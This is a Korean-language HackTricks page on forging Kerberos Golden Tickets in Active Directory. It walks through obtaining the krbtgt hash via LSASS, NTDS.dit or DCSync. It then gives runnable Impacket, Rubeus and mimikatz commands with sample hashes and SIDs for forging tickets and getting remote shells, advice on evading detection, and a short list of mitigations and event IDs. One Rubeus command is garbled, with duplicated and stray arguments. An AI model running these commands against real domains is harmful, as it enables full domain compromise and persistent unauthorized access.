Golden Ticket

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

Golden ticket

Golden Ticket ๊ณต๊ฒฉ์€ NTLM ํ•ด์‹œ๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ์‚ฌ์šฉ์ž๋ฅผ ๊ฐ€์žฅํ•œ ํ•ฉ๋ฒ•์ ์ธ ํ‹ฐ์ผ“ ๋ถ€์—ฌ ํ‹ฐ์ผ“(TGT)์„ ์ƒ์„ฑํ•˜๋Š” ๊ฒƒ์œผ๋กœ ๊ตฌ์„ฑ๋ฉ๋‹ˆ๋‹ค. ์ด ๊ธฐ์ˆ ์€ ๋„๋ฉ”์ธ ๋‚ด์˜ ๋ชจ๋“  ์„œ๋น„์Šค๋‚˜ ๋จธ์‹ ์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ด์ฃผ๊ธฐ ๋•Œ๋ฌธ์— ํŠนํžˆ ์œ ๋ฆฌํ•ฉ๋‹ˆ๋‹ค. krbtgt ๊ณ„์ •์˜ ์ž๊ฒฉ ์ฆ๋ช…์€ ์ž๋™์œผ๋กœ ์—…๋ฐ์ดํŠธ๋˜์ง€ ์•Š๋Š”๋‹ค๋Š” ์ ์„ ๊ธฐ์–ตํ•˜๋Š” ๊ฒƒ์ด ์ค‘์š”ํ•ฉ๋‹ˆ๋‹ค.

krbtgt ๊ณ„์ •์˜ NTLM ํ•ด์‹œ๋ฅผ ํš๋“ํ•˜๊ธฐ ์œ„ํ•ด ๋‹ค์–‘ํ•œ ๋ฐฉ๋ฒ•์„ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋Š” ๋กœ์ปฌ ๋ณด์•ˆ ๊ถŒํ•œ ํ•˜์œ„ ์‹œ์Šคํ…œ ์„œ๋น„์Šค(LSASS) ํ”„๋กœ์„ธ์Šค ๋˜๋Š” ๋„๋ฉ”์ธ ๋‚ด์˜ ๋ชจ๋“  ๋„๋ฉ”์ธ ์ปจํŠธ๋กค๋Ÿฌ(DC)์— ์œ„์น˜ํ•œ NT ๋””๋ ‰ํ„ฐ๋ฆฌ ์„œ๋น„์Šค(NTDS.dit) ํŒŒ์ผ์—์„œ ์ถ”์ถœํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋˜ํ•œ, DCsync ๊ณต๊ฒฉ์„ ์‹คํ–‰ํ•˜๋Š” ๊ฒƒ๋„ ์ด NTLM ํ•ด์‹œ๋ฅผ ์–ป๋Š” ๋˜ ๋‹ค๋ฅธ ์ „๋žต์œผ๋กœ, Mimikatz์˜ lsadump::dcsync ๋ชจ๋“ˆ์ด๋‚˜ Impacket์˜ secretsdump.py ์Šคํฌ๋ฆฝํŠธ์™€ ๊ฐ™์€ ๋„๊ตฌ๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ์ˆ˜ํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ ์ž‘์—…์„ ์ˆ˜ํ–‰ํ•˜๊ธฐ ์œ„ํ•ด์„œ๋Š” ๋„๋ฉ”์ธ ๊ด€๋ฆฌ์ž ๊ถŒํ•œ ๋˜๋Š” ์œ ์‚ฌํ•œ ์ˆ˜์ค€์˜ ์ ‘๊ทผ ๊ถŒํ•œ์ด ์ผ๋ฐ˜์ ์œผ๋กœ ํ•„์š”ํ•˜๋‹ค๋Š” ์ ์„ ๊ฐ•์กฐํ•˜๋Š” ๊ฒƒ์ด ์ค‘์š”ํ•ฉ๋‹ˆ๋‹ค.

NTLM ํ•ด์‹œ๋Š” ์ด ๋ชฉ์ ์— ์œ ํšจํ•œ ๋ฐฉ๋ฒ•์ด์ง€๋งŒ, ์šด์˜ ๋ณด์•ˆ์ƒ์˜ ์ด์œ ๋กœ ๊ณ ๊ธ‰ ์•”ํ˜ธํ™” ํ‘œ์ค€(AES) Kerberos ํ‚ค(AES128 ๋ฐ AES256)๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ํ‹ฐ์ผ“์„ ์œ„์กฐํ•˜๋Š” ๊ฒƒ์ด ๊ฐ•๋ ฅํžˆ ๊ถŒ์žฅ๋ฉ๋‹ˆ๋‹ค.

python ticketer.py -nthash 25b2076cda3bfd6209161a6c78a69c1c -domain-sid S-1-5-21-1339291983-1349129144-367733775 -domain jurassic.park stegosaurus
export KRB5CCNAME=/root/impacket-examples/stegosaurus.ccache
python psexec.py jurassic.park/stegosaurus@lab-wdc02.jurassic.park -k -no-pass
# Rubeus
## The /ldap command will get the details from the LDAP (so you don't need to put the SID)
## The /printcmd option will print the complete command if later you want to generate a token offline
.\Rubeus.exe asktgt /user:Rubeus.exe golden /rc4:<krbtgt hash> /domain:<child_domain> /sid:<child_domain_sid>  /sids:<parent_domain_sid>-519 /user:Administrator /ptt /ldap /nowrap /printcmd

/rc4:25b2076cda3bfd6209161a6c78a69c1c /domain:jurassic.park /ptt
#mimikatz
kerberos::golden /User:Administrator /domain:dollarcorp.moneycorp.local /sid:S-1-5-21-1874506631-3219952063-538504511 /krbtgt:ff46a9d8bd66c6efd77603da26796f35 /id:500 /groups:512 /startoffset:0 /endin:600 /renewmax:10080 /ptt
.\Rubeus.exe ptt /ticket:ticket.kirbi
klist #List tickets in memory

# Example using aes key
kerberos::golden /user:Administrator /domain:dollarcorp.moneycorp.local /sid:S-1-5-21-1874506631-3219952063-538504511 /aes256:430b2fdb13cc820d73ecf123dddd4c9d76425d4c2156b89ac551efb9d591a439 /ticket:golden.kirbi

ํ•œ ๋ฒˆ golden Ticket์ด ์ฃผ์ž…๋˜๋ฉด, ๊ณต์œ  ํŒŒ์ผ **(C$)**์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ์„œ๋น„์Šค๋ฅผ ์‹คํ–‰ํ•˜๊ณ  WMI๋ฅผ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์œผ๋ฏ€๋กœ psexec ๋˜๋Š” wmiexec๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ์…ธ์„ ์–ป์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค (winrm์„ ํ†ตํ•ด ์…ธ์„ ์–ป์„ ์ˆ˜ ์—†๋Š” ๊ฒƒ ๊ฐ™์Šต๋‹ˆ๋‹ค).

์ผ๋ฐ˜์ ์ธ ํƒ์ง€ ์šฐํšŒ

golden ticket์„ ํƒ์ง€ํ•˜๋Š” ๊ฐ€์žฅ ์ผ๋ฐ˜์ ์ธ ๋ฐฉ๋ฒ•์€ ์ผ€๋ฅด๋ฒ ๋กœ์Šค ํŠธ๋ž˜ํ”ฝ์„ ๊ฒ€์‚ฌํ•˜๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค. ๊ธฐ๋ณธ์ ์œผ๋กœ Mimikatz๋Š” TGT๋ฅผ 10๋…„ ๋™์•ˆ ์„œ๋ช…ํ•˜๋ฏ€๋กœ, ์ดํ›„ TGS ์š”์ฒญ์—์„œ ๋น„์ •์ƒ์ ์œผ๋กœ ๋ณด์ผ ๊ฒƒ์ž…๋‹ˆ๋‹ค.

Lifetime : 3/11/2021 12:39:57 PM ; 3/9/2031 12:39:57 PM ; 3/9/2031 12:39:57 PM

/startoffset, /endin ๋ฐ /renewmax ๋งค๊ฐœ๋ณ€์ˆ˜๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ์‹œ์ž‘ ์˜คํ”„์…‹, ๊ธฐ๊ฐ„ ๋ฐ ์ตœ๋Œ€ ๊ฐฑ์‹ (๋ชจ๋‘ ๋ถ„ ๋‹จ์œ„)์„ ์ œ์–ดํ•ฉ๋‹ˆ๋‹ค.

Get-DomainPolicy | select -expand KerberosPolicy

์•ˆํƒ€๊น๊ฒŒ๋„ TGT์˜ ์ˆ˜๋ช…์€ 4769์— ๊ธฐ๋ก๋˜์ง€ ์•Š์œผ๋ฏ€๋กœ Windows ์ด๋ฒคํŠธ ๋กœ๊ทธ์—์„œ ์ด ์ •๋ณด๋ฅผ ์ฐพ์„ ์ˆ˜ ์—†์Šต๋‹ˆ๋‹ค. ๊ทธ๋Ÿฌ๋‚˜ ์ด์ „ 4768 ์—†์ด 4769๋ฅผ ๋ณด๋Š” ๊ฒƒ์€ ์ƒ๊ด€๊ด€๊ณ„๊ฐ€ ์žˆ์Šต๋‹ˆ๋‹ค. TGT ์—†์ด TGS๋ฅผ ์š”์ฒญํ•˜๋Š” ๊ฒƒ์€ ๋ถˆ๊ฐ€๋Šฅํ•˜๋ฉฐ, TGT๊ฐ€ ๋ฐœ๊ธ‰๋œ ๊ธฐ๋ก์ด ์—†๋‹ค๋ฉด ์˜คํ”„๋ผ์ธ์—์„œ ์œ„์กฐ๋˜์—ˆ์Œ์„ ์ถ”๋ก ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์ด ํƒ์ง€๋ฅผ ์šฐํšŒํ•˜๊ธฐ ์œ„ํ•ด ๋‹ค์ด์•„๋ชฌ๋“œ ํ‹ฐ์ผ“์„ ํ™•์ธํ•˜์„ธ์š”:

Diamond Ticket

์™„ํ™”

  • 4624: ๊ณ„์ • ๋กœ๊ทธ์ธ
  • 4672: ๊ด€๋ฆฌ์ž ๋กœ๊ทธ์ธ
  • Get-WinEvent -FilterHashtable @{Logname='Security';ID=4672} -MaxEvents 1 | Format-List โ€“Property

์ˆ˜๋น„์ž๊ฐ€ ํ•  ์ˆ˜ ์žˆ๋Š” ๋‹ค๋ฅธ ์ž‘์€ ํŠธ๋ฆญ์€ ๋ฏผ๊ฐํ•œ ์‚ฌ์šฉ์ž์— ๋Œ€ํ•œ 4769์— ๊ฒฝ๊ณ ํ•˜๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค. ์˜ˆ๋ฅผ ๋“ค์–ด ๊ธฐ๋ณธ ๋„๋ฉ”์ธ ๊ด€๋ฆฌ์ž ๊ณ„์ •๊ณผ ๊ฐ™์€ ๊ฒฝ์šฐ์ž…๋‹ˆ๋‹ค.

์ฐธ์กฐ

  • https://www.tarlogic.com/blog/how-to-attack-kerberos/
  • [https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberos-golden-tickets] (https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberos-golden-tickets)

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ